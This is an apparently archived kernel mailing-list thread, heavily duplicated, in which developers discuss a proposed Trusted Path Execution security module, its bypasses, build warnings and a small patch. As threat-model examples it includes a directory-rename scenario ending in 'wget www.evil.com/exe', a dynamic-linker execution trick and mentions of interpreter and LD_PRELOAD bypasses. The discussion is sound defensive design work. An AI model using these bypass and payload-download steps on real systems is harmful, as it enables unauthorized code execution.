> On Thu, Jun 08, 2017 at 11:50:32PM -0400, Matt Brown wrote:
>> On 06/08/2017 10:38 PM, Kees Cook wrote:
>>> On Wed, Jun 7, 2017 at 8:43 PM, Matt Brown <matt@nmatt.com> wrote:
>>>> *  Issues:
>>>>   *  Can be bypassed by interpreted languages such as python. You can run
>>>>      malicious code by doing: python -c 'evil code'
>>>
>>> What's the recommendation for people interested in using TPE but
>>> having interpreters installed?
>>
>> If you don't need a given interpreter installed, uninstall it. While
>> this is common sense system hardening it especially would make a
>> difference under the TPE threat model.
>>
>> I don't have a knock down answer for this. Interpreters are a hard
>> problem for TPE.
> 
> Interpreters are only a tip of the iceberg.
> 
> With TPE, every program invocation becomes similar to a SUID/SGID one as
> it relates to TPE's newly introduced security barrier.  However, the
> dynamic linker and libc have no idea of this, and will happily grant
> arbitrary code execution in context of those programs via LD_PRELOAD and
> such.  Even if this is somehow dealt with (how would you do that in the
> kernel alone? filter typical env var names? it quickly becomes way too
> hackish and blacklistish, thus imperfect), then there's still:
> 

FYI Mimi Zohar has posted this LSM that aims to restrict interpreters:
http://kernsec.org/pipermail/linux-security-module-archive/2017-June/001758.html

That conversation is relevant here and I am thinking about merging some
of those concepts into TPE.

> I think many, and maybe most, binaries on a system will contain buffer
> overflows and such that also allow for arbitrary code execution.  Those
> programs were not written as carefully as SUID/SGID ones are supposed to
> be.  They don't treat their input and environment as untrusted.
> 

Sure but there are other protections that can be put in place to
mitigate memory corruption exploits. e.g.:
https://wiki.gentoo.org/wiki/Hardened/Toolchain

Even if these buffer overflows do exist, TPE still raises the bar for
the attacker to execute on their objective.

> Closer to the topic of interpreters, there's also this old trick:
> 
> $ strace -e execve /lib/ld-linux.so.2 /bin/uname -ms
> execve("/lib/ld-linux.so.2", ["/lib/ld-linux.so.2", "/bin/uname", "-ms"], [/* 28 vars */]) = 0
> Linux i686
> +++ exited with 0 +++
> 

This is blocked with the current patch because I'm checking the mmap LSM
hook for any untrusted files being mmap'ed with the exec bit set.

Dmesg log from TPE after testing the strace trick above:
TPE: Denied mmap of /vuln/ls Reason: file in world-writable directory
and not in trusted group

> As you can see, the only execve(2) is of the dynamic linker.  Will /lib
> or/and /lib64 be among trusted paths in a typical setup?  Well, maybe
> not, although not including them will break ldd(1) on the more security
> conscious distros, where it uses a similar trick of invoking the dynamic
> linker explicitly (rather than the historical unsafe way of invoking the
> binary being ldd'ed with some env vars set to tell its dynamic linker to
> do the magic rather than proceed to execute the program).
> 
> But this last one is relatively minor.  The real big issue is that TPE
> is either inherently fairly easily bypassable (and should be documented
> as such) via many of the installed programs (by far not just explicit
> interpreters, but also any programs containing "weird machines", which
> is probably most non-trivial programs out there, and some trivial ones),
> or it relies on all programs in the trusted paths being written as if
> they were SUID/SGID (unrealistic for non-trivial systems).

I suppose I can make my documentation more clear that I don't believe
TPE is a replacement for a mandatory access control system. I believe
that the "selling point" of TPE is that it has a zero/low setup effort
that makes it viable to a certain category of user that will never put
in the effort to setup SELinux, RBAC, SMACK, or AppArmor.

I do believe with the conversation that is going on about Mimi Zohar's
Shebang LSM that we can use that work to plug up some of the current
holes in TPE

Matt

[kernel-hardening] [RFC PATCH] print_tpe_error() can be static

[kbuild test robot]

Signed-off-by: Fengguang Wu <fengguang.wu@intel.com>
---
 tpe_lsm.c |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security/tpe/tpe_lsm.c b/security/tpe/tpe_lsm.c
index fda811a..77d2498 100644
--- a/security/tpe/tpe_lsm.c
+++ b/security/tpe/tpe_lsm.c
@@ -42,7 +42,7 @@ static int tpe_strict __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE_STRICT);
 static int tpe_restrict_root __read_mostly =
 	IS_ENABLED(CONFIG_SECURITY_TPE_RESTRICT_ROOT);
 
-int print_tpe_error(struct file *file, char *reason1, char *reason2,
+static int print_tpe_error(struct file *file, char *reason1, char *reason2,
 	char *method)
 {
 	char *filepath;
@@ -125,7 +125,7 @@ static int tpe_check(struct file *file, char *method)
 		return 0;
 }
 
-int tpe_mmap_file(struct file *file, unsigned long reqprot,
+static int tpe_mmap_file(struct file *file, unsigned long reqprot,
 	unsigned long prot, unsigned long flags)
 {
 	if (!file || !(prot & PROT_EXEC))
@@ -134,7 +134,7 @@ int tpe_mmap_file(struct file *file, unsigned long reqprot,
 	return tpe_check(file, "mmap");
 }
 
-int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
+static int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
 	unsigned long prot)
 {
 	if (!vma->vm_file)
@@ -157,7 +157,7 @@ static struct security_hook_list tpe_hooks[] = {
 };
 
 #ifdef CONFIG_SYSCTL
-struct ctl_path tpe_sysctl_path[] = {
+static struct ctl_path tpe_sysctl_path[] = {
 	{ .procname = "kernel", },
 	{ .procname = "tpe", },
 	{ }

[RFC PATCH] print_tpe_error() can be static

[kbuild test robot]

Signed-off-by: Fengguang Wu <fengguang.wu@intel.com>
---
 tpe_lsm.c |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security/tpe/tpe_lsm.c b/security/tpe/tpe_lsm.c
index fda811a..77d2498 100644
--- a/security/tpe/tpe_lsm.c
+++ b/security/tpe/tpe_lsm.c
@@ -42,7 +42,7 @@ static int tpe_strict __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE_STRICT);
 static int tpe_restrict_root __read_mostly =
 	IS_ENABLED(CONFIG_SECURITY_TPE_RESTRICT_ROOT);
 
-int print_tpe_error(struct file *file, char *reason1, char *reason2,
+static int print_tpe_error(struct file *file, char *reason1, char *reason2,
 	char *method)
 {
 	char *filepath;
@@ -125,7 +125,7 @@ static int tpe_check(struct file *file, char *method)
 		return 0;
 }
 
-int tpe_mmap_file(struct file *file, unsigned long reqprot,
+static int tpe_mmap_file(struct file *file, unsigned long reqprot,
 	unsigned long prot, unsigned long flags)
 {
 	if (!file || !(prot & PROT_EXEC))
@@ -134,7 +134,7 @@ int tpe_mmap_file(struct file *file, unsigned long reqprot,
 	return tpe_check(file, "mmap");
 }
 
-int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
+static int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
 	unsigned long prot)
 {
 	if (!vma->vm_file)
@@ -157,7 +157,7 @@ static struct security_hook_list tpe_hooks[] = {
 };
 
 #ifdef CONFIG_SYSCTL
-struct ctl_path tpe_sysctl_path[] = {
+static struct ctl_path tpe_sysctl_path[] = {
 	{ .procname = "kernel", },
 	{ .procname = "tpe", },
 	{ }

[RFC PATCH] print_tpe_error() can be static

[kbuild test robot]

Signed-off-by: Fengguang Wu <fengguang.wu@intel.com>
---
 tpe_lsm.c |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security/tpe/tpe_lsm.c b/security/tpe/tpe_lsm.c
index fda811a..77d2498 100644
--- a/security/tpe/tpe_lsm.c
+++ b/security/tpe/tpe_lsm.c
@@ -42,7 +42,7 @@ static int tpe_strict __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE_STRICT);
 static int tpe_restrict_root __read_mostly =
 	IS_ENABLED(CONFIG_SECURITY_TPE_RESTRICT_ROOT);
 
-int print_tpe_error(struct file *file, char *reason1, char *reason2,
+static int print_tpe_error(struct file *file, char *reason1, char *reason2,
 	char *method)
 {
 	char *filepath;
@@ -125,7 +125,7 @@ static int tpe_check(struct file *file, char *method)
 		return 0;
 }
 
-int tpe_mmap_file(struct file *file, unsigned long reqprot,
+static int tpe_mmap_file(struct file *file, unsigned long reqprot,
 	unsigned long prot, unsigned long flags)
 {
 	if (!file || !(prot & PROT_EXEC))
@@ -134,7 +134,7 @@ int tpe_mmap_file(struct file *file, unsigned long reqprot,
 	return tpe_check(file, "mmap");
 }
 
-int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
+static int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
 	unsigned long prot)
 {
 	if (!vma->vm_file)
@@ -157,7 +157,7 @@ static struct security_hook_list tpe_hooks[] = {
 };
 
 #ifdef CONFIG_SYSCTL
-struct ctl_path tpe_sysctl_path[] = {
+static struct ctl_path tpe_sysctl_path[] = {
 	{ .procname = "kernel", },
 	{ .procname = "tpe", },
 	{ }
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[kbuild test robot]

Hi Matt,

[auto build test WARNING on security/next]
[also build test WARNING on v4.12-rc5 next-20170615]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Matt-Brown/Add-Trusted-Path-Execution-as-a-stackable-LSM/20170609-115004
base:   https://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security.git next
reproduce:
        # apt-get install sparse
        make ARCH=x86_64 allmodconfig
        make C=1 CF=-D__CHECK_ENDIAN__


sparse warnings: (new ones prefixed by >>)

>> security/tpe/tpe_lsm.c:45:5: sparse: symbol 'print_tpe_error' was not declared. Should it be static?
>> security/tpe/tpe_lsm.c:128:5: sparse: symbol 'tpe_mmap_file' was not declared. Should it be static?
>> security/tpe/tpe_lsm.c:137:5: sparse: symbol 'tpe_file_mprotect' was not declared. Should it be static?
>> security/tpe/tpe_lsm.c:160:17: sparse: symbol 'tpe_sysctl_path' was not declared. Should it be static?

Please review and possibly fold the followup patch.

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[kbuild test robot]

Hi Matt,

[auto build test WARNING on security/next]
[also build test WARNING on v4.12-rc5 next-20170615]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Matt-Brown/Add-Trusted-Path-Execution-as-a-stackable-LSM/20170609-115004
base:   https://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security.git next
reproduce:
        # apt-get install sparse
        make ARCH=x86_64 allmodconfig
        make C=1 CF=-D__CHECK_ENDIAN__


sparse warnings: (new ones prefixed by >>)

>> security/tpe/tpe_lsm.c:45:5: sparse: symbol 'print_tpe_error' was not declared. Should it be static?
>> security/tpe/tpe_lsm.c:128:5: sparse: symbol 'tpe_mmap_file' was not declared. Should it be static?
>> security/tpe/tpe_lsm.c:137:5: sparse: symbol 'tpe_file_mprotect' was not declared. Should it be static?
>> security/tpe/tpe_lsm.c:160:17: sparse: symbol 'tpe_sysctl_path' was not declared. Should it be static?

Please review and possibly fold the followup patch.

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

[PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[kbuild test robot]

Hi Matt,

[auto build test WARNING on security/next]
[also build test WARNING on v4.12-rc5 next-20170615]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Matt-Brown/Add-Trusted-Path-Execution-as-a-stackable-LSM/20170609-115004
base:   https://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security.git next
reproduce:
        # apt-get install sparse
        make ARCH=x86_64 allmodconfig
        make C=1 CF=-D__CHECK_ENDIAN__


sparse warnings: (new ones prefixed by >>)

>> security/tpe/tpe_lsm.c:45:5: sparse: symbol 'print_tpe_error' was not declared. Should it be static?
>> security/tpe/tpe_lsm.c:128:5: sparse: symbol 'tpe_mmap_file' was not declared. Should it be static?
>> security/tpe/tpe_lsm.c:137:5: sparse: symbol 'tpe_file_mprotect' was not declared. Should it be static?
>> security/tpe/tpe_lsm.c:160:17: sparse: symbol 'tpe_sysctl_path' was not declared. Should it be static?

Please review and possibly fold the followup patch.

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[kernel-hardening] Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Alan Cox]

> http://phrack.org/issues/52/6.html#article
> 
> | A trusted path is one that is inside a root owned directory that
> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
> | (under normal circumstances) considered trusted.  Any non-root
> | users home directory is not trusted, nor is /tmp.

Note that in the real world the trusted path would and should also
require that any elements of the path above that point are also locked
down if you are using path based models. Ie you need to ensure nobody has
the ability to rename /usr or /usr/local before you trust /usr/local/bin.

Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Alan Cox]

> http://phrack.org/issues/52/6.html#article
> 
> | A trusted path is one that is inside a root owned directory that
> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
> | (under normal circumstances) considered trusted.  Any non-root
> | users home directory is not trusted, nor is /tmp.

Note that in the real world the trusted path would and should also
require that any elements of the path above that point are also locked
down if you are using path based models. Ie you need to ensure nobody has
the ability to rename /usr or /usr/local before you trust /usr/local/bin.

[PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Alan Cox]

> http://phrack.org/issues/52/6.html#article
> 
> | A trusted path is one that is inside a root owned directory that
> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
> | (under normal circumstances) considered trusted.  Any non-root
> | users home directory is not trusted, nor is /tmp.

Note that in the real world the trusted path would and should also
require that any elements of the path above that point are also locked
down if you are using path based models. Ie you need to ensure nobody has
the ability to rename /usr or /usr/local before you trust /usr/local/bin.

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[kernel-hardening] Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/8/17 2:37 PM, Alan Cox wrote:
>> http://phrack.org/issues/52/6.html#article
>>
>> | A trusted path is one that is inside a root owned directory that
>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>> | (under normal circumstances) considered trusted.  Any non-root
>> | users home directory is not trusted, nor is /tmp.
> 
> Note that in the real world the trusted path would and should also
> require that any elements of the path above that point are also locked
> down if you are using path based models. Ie you need to ensure nobody has
> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
> 

So actually in this LSM it's not so much full paths that are trusted,
rather it checks that the directory containing the program is only
writable by root and that the program itself is only writable by root.

For example, consider the following:

/user/ with permissions drwxr-xr-x user user
/user/user-owned/ with permissions drwxr-xr-x user user
/user/user-owned/root-owned/ with permissions drwxr-xr-x root root
/user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root

currently /user/user-owned/root-owned/exe is trusted because it can only
be written to by root, and the directory it is in can only be written by
root.

but then user becomes compromised and does the following:
cd /user/
mv user-owned user-owned-back
mkdir -p user-owned/root-owned
cd user-owned/root-owned
wget www.evil.com/exe

Now /user/user-owned/root-owned/exe is untrusted and its execution will
be denied unless you put user in the trusted group.

Matt

Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/8/17 2:37 PM, Alan Cox wrote:
>> http://phrack.org/issues/52/6.html#article
>>
>> | A trusted path is one that is inside a root owned directory that
>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>> | (under normal circumstances) considered trusted.  Any non-root
>> | users home directory is not trusted, nor is /tmp.
> 
> Note that in the real world the trusted path would and should also
> require that any elements of the path above that point are also locked
> down if you are using path based models. Ie you need to ensure nobody has
> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
> 

So actually in this LSM it's not so much full paths that are trusted,
rather it checks that the directory containing the program is only
writable by root and that the program itself is only writable by root.

For example, consider the following:

/user/ with permissions drwxr-xr-x user user
/user/user-owned/ with permissions drwxr-xr-x user user
/user/user-owned/root-owned/ with permissions drwxr-xr-x root root
/user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root

currently /user/user-owned/root-owned/exe is trusted because it can only
be written to by root, and the directory it is in can only be written by
root.

but then user becomes compromised and does the following:
cd /user/
mv user-owned user-owned-back
mkdir -p user-owned/root-owned
cd user-owned/root-owned
wget www.evil.com/exe

Now /user/user-owned/root-owned/exe is untrusted and its execution will
be denied unless you put user in the trusted group.

Matt

[PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/8/17 2:37 PM, Alan Cox wrote:
>> http://phrack.org/issues/52/6.html#article
>>
>> | A trusted path is one that is inside a root owned directory that
>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>> | (under normal circumstances) considered trusted.  Any non-root
>> | users home directory is not trusted, nor is /tmp.
> 
> Note that in the real world the trusted path would and should also
> require that any elements of the path above that point are also locked
> down if you are using path based models. Ie you need to ensure nobody has
> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
> 

So actually in this LSM it's not so much full paths that are trusted,
rather it checks that the directory containing the program is only
writable by root and that the program itself is only writable by root.

For example, consider the following:

/user/ with permissions drwxr-xr-x user user
/user/user-owned/ with permissions drwxr-xr-x user user
/user/user-owned/root-owned/ with permissions drwxr-xr-x root root
/user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root

currently /user/user-owned/root-owned/exe is trusted because it can only
be written to by root, and the directory it is in can only be written by
root.

but then user becomes compromised and does the following:
cd /user/
mv user-owned user-owned-back
mkdir -p user-owned/root-owned
cd user-owned/root-owned
wget www.evil.com/exe

Now /user/user-owned/root-owned/exe is untrusted and its execution will
be denied unless you put user in the trusted group.

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[kernel-hardening] Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Alan Cox]

> So actually in this LSM it's not so much full paths that are trusted,
> rather it checks that the directory containing the program is only
> writable by root and that the program itself is only writable by root.
> 
> For example, consider the following:
> 
> /user/ with permissions drwxr-xr-x user user
> /user/user-owned/ with permissions drwxr-xr-x user user
> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root
> 
> currently /user/user-owned/root-owned/exe is trusted because it can only
> be written to by root, and the directory it is in can only be written by
> root.
> 
> but then user becomes compromised and does the following:
> cd /user/
> mv user-owned user-owned-back
> mkdir -p user-owned/root-owned
> cd user-owned/root-owned
> wget www.evil.com/exe
> 
> Now /user/user-owned/root-owned/exe is untrusted and its execution will
> be denied unless you put user in the trusted group.

I can cause a lot of mischief just by renaming commands (mv cp rm
does't work on must implementations) but yes the root directory check
itself should avoid that you are correct.

Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Alan Cox]

> So actually in this LSM it's not so much full paths that are trusted,
> rather it checks that the directory containing the program is only
> writable by root and that the program itself is only writable by root.
> 
> For example, consider the following:
> 
> /user/ with permissions drwxr-xr-x user user
> /user/user-owned/ with permissions drwxr-xr-x user user
> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root
> 
> currently /user/user-owned/root-owned/exe is trusted because it can only
> be written to by root, and the directory it is in can only be written by
> root.
> 
> but then user becomes compromised and does the following:
> cd /user/
> mv user-owned user-owned-back
> mkdir -p user-owned/root-owned
> cd user-owned/root-owned
> wget www.evil.com/exe
> 
> Now /user/user-owned/root-owned/exe is untrusted and its execution will
> be denied unless you put user in the trusted group.

I can cause a lot of mischief just by renaming commands (mv cp rm
does't work on must implementations) but yes the root directory check
itself should avoid that you are correct.

[PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Alan Cox]

> So actually in this LSM it's not so much full paths that are trusted,
> rather it checks that the directory containing the program is only
> writable by root and that the program itself is only writable by root.
> 
> For example, consider the following:
> 
> /user/ with permissions drwxr-xr-x user user
> /user/user-owned/ with permissions drwxr-xr-x user user
> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root
> 
> currently /user/user-owned/root-owned/exe is trusted because it can only
> be written to by root, and the directory it is in can only be written by
> root.
> 
> but then user becomes compromised and does the following:
> cd /user/
> mv user-owned user-owned-back
> mkdir -p user-owned/root-owned
> cd user-owned/root-owned
> wget www.evil.com/exe
> 
> Now /user/user-owned/root-owned/exe is untrusted and its execution will
> be denied unless you put user in the trusted group.

I can cause a lot of mischief just by renaming commands (mv cp rm
does't work on must implementations) but yes the root directory check
itself should avoid that you are correct.

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[kernel-hardening] Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Mickaël Salaün]

[-- Attachment #1.1: Type: text/plain, Size: 2004 bytes --]


On 08/06/2017 21:01, Matt Brown wrote:
> On 6/8/17 2:37 PM, Alan Cox wrote:
>>> http://phrack.org/issues/52/6.html#article
>>>
>>> | A trusted path is one that is inside a root owned directory that
>>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>>> | (under normal circumstances) considered trusted.  Any non-root
>>> | users home directory is not trusted, nor is /tmp.
>>
>> Note that in the real world the trusted path would and should also
>> require that any elements of the path above that point are also locked
>> down if you are using path based models. Ie you need to ensure nobody has
>> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
>>
> 
> So actually in this LSM it's not so much full paths that are trusted,
> rather it checks that the directory containing the program is only
> writable by root and that the program itself is only writable by root.
> 
> For example, consider the following:
> 
> /user/ with permissions drwxr-xr-x user user
> /user/user-owned/ with permissions drwxr-xr-x user user
> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root

Some tests would make this scenario clear. ;)

You can take a look at how seccomp-bpf does with the test_harness.h
helper. A new kselftest_harness.h will be available soon to not include
a file from the seccomp-bpf directory (cf. linux-next).

> 
> currently /user/user-owned/root-owned/exe is trusted because it can only
> be written to by root, and the directory it is in can only be written by
> root.
> 
> but then user becomes compromised and does the following:
> cd /user/
> mv user-owned user-owned-back
> mkdir -p user-owned/root-owned
> cd user-owned/root-owned
> wget www.evil.com/exe
> 
> Now /user/user-owned/root-owned/exe is untrusted and its execution will
> be denied unless you put user in the trusted group.
> 
> Matt
> 


[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 488 bytes --]

Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Mickaël Salaün]

[-- Attachment #1.1: Type: text/plain, Size: 2004 bytes --]


On 08/06/2017 21:01, Matt Brown wrote:
> On 6/8/17 2:37 PM, Alan Cox wrote:
>>> http://phrack.org/issues/52/6.html#article
>>>
>>> | A trusted path is one that is inside a root owned directory that
>>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>>> | (under normal circumstances) considered trusted.  Any non-root
>>> | users home directory is not trusted, nor is /tmp.
>>
>> Note that in the real world the trusted path would and should also
>> require that any elements of the path above that point are also locked
>> down if you are using path based models. Ie you need to ensure nobody has
>> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
>>
> 
> So actually in this LSM it's not so much full paths that are trusted,
> rather it checks that the directory containing the program is only
> writable by root and that the program itself is only writable by root.
> 
> For example, consider the following:
> 
> /user/ with permissions drwxr-xr-x user user
> /user/user-owned/ with permissions drwxr-xr-x user user
> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root

Some tests would make this scenario clear. ;)

You can take a look at how seccomp-bpf does with the test_harness.h
helper. A new kselftest_harness.h will be available soon to not include
a file from the seccomp-bpf directory (cf. linux-next).

> 
> currently /user/user-owned/root-owned/exe is trusted because it can only
> be written to by root, and the directory it is in can only be written by
> root.
> 
> but then user becomes compromised and does the following:
> cd /user/
> mv user-owned user-owned-back
> mkdir -p user-owned/root-owned
> cd user-owned/root-owned
> wget www.evil.com/exe
> 
> Now /user/user-owned/root-owned/exe is untrusted and its execution will
> be denied unless you put user in the trusted group.
> 
> Matt
> 


[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 488 bytes --]

[kernel-hardening] Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/11/2017 07:30 AM, Mickaël Salaün wrote:
>
> On 08/06/2017 21:01, Matt Brown wrote:
>> On 6/8/17 2:37 PM, Alan Cox wrote:
>>>> http://phrack.org/issues/52/6.html#article
>>>>
>>>> | A trusted path is one that is inside a root owned directory that
>>>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>>>> | (under normal circumstances) considered trusted.  Any non-root
>>>> | users home directory is not trusted, nor is /tmp.
>>>
>>> Note that in the real world the trusted path would and should also
>>> require that any elements of the path above that point are also locked
>>> down if you are using path based models. Ie you need to ensure nobody has
>>> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
>>>
>>
>> So actually in this LSM it's not so much full paths that are trusted,
>> rather it checks that the directory containing the program is only
>> writable by root and that the program itself is only writable by root.
>>
>> For example, consider the following:
>>
>> /user/ with permissions drwxr-xr-x user user
>> /user/user-owned/ with permissions drwxr-xr-x user user
>> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
>> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root
>
> Some tests would make this scenario clear. ;)
>
> You can take a look at how seccomp-bpf does with the test_harness.h
> helper. A new kselftest_harness.h will be available soon to not include
> a file from the seccomp-bpf directory (cf. linux-next).
>

I'll take a look at those. Thanks!

Matt

Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/11/2017 07:30 AM, Mickaël Salaün wrote:
>
> On 08/06/2017 21:01, Matt Brown wrote:
>> On 6/8/17 2:37 PM, Alan Cox wrote:
>>>> http://phrack.org/issues/52/6.html#article
>>>>
>>>> | A trusted path is one that is inside a root owned directory that
>>>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>>>> | (under normal circumstances) considered trusted.  Any non-root
>>>> | users home directory is not trusted, nor is /tmp.
>>>
>>> Note that in the real world the trusted path would and should also
>>> require that any elements of the path above that point are also locked
>>> down if you are using path based models. Ie you need to ensure nobody has
>>> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
>>>
>>
>> So actually in this LSM it's not so much full paths that are trusted,
>> rather it checks that the directory containing the program is only
>> writable by root and that the program itself is only writable by root.
>>
>> For example, consider the following:
>>
>> /user/ with permissions drwxr-xr-x user user
>> /user/user-owned/ with permissions drwxr-xr-x user user
>> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
>> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root
>
> Some tests would make this scenario clear. ;)
>
> You can take a look at how seccomp-bpf does with the test_harness.h
> helper. A new kselftest_harness.h will be available soon to not include
> a file from the seccomp-bpf directory (cf. linux-next).
>

I'll take a look at those. Thanks!

Matt

[PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/11/2017 07:30 AM, Micka?l Sala?n wrote:
>
> On 08/06/2017 21:01, Matt Brown wrote:
>> On 6/8/17 2:37 PM, Alan Cox wrote:
>>>> http://phrack.org/issues/52/6.html#article
>>>>
>>>> | A trusted path is one that is inside a root owned directory that
>>>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>>>> | (under normal circumstances) considered trusted.  Any non-root
>>>> | users home directory is not trusted, nor is /tmp.
>>>
>>> Note that in the real world the trusted path would and should also
>>> require that any elements of the path above that point are also locked
>>> down if you are using path based models. Ie you need to ensure nobody has
>>> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
>>>
>>
>> So actually in this LSM it's not so much full paths that are trusted,
>> rather it checks that the directory containing the program is only
>> writable by root and that the program itself is only writable by root.
>>
>> For example, consider the following:
>>
>> /user/ with permissions drwxr-xr-x user user
>> /user/user-owned/ with permissions drwxr-xr-x user user
>> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
>> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root
>
> Some tests would make this scenario clear. ;)
>
> You can take a look at how seccomp-bpf does with the test_harness.h
> helper. A new kselftest_harness.h will be available soon to not include
> a file from the seccomp-bpf directory (cf. linux-next).
>

I'll take a look at those. Thanks!

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html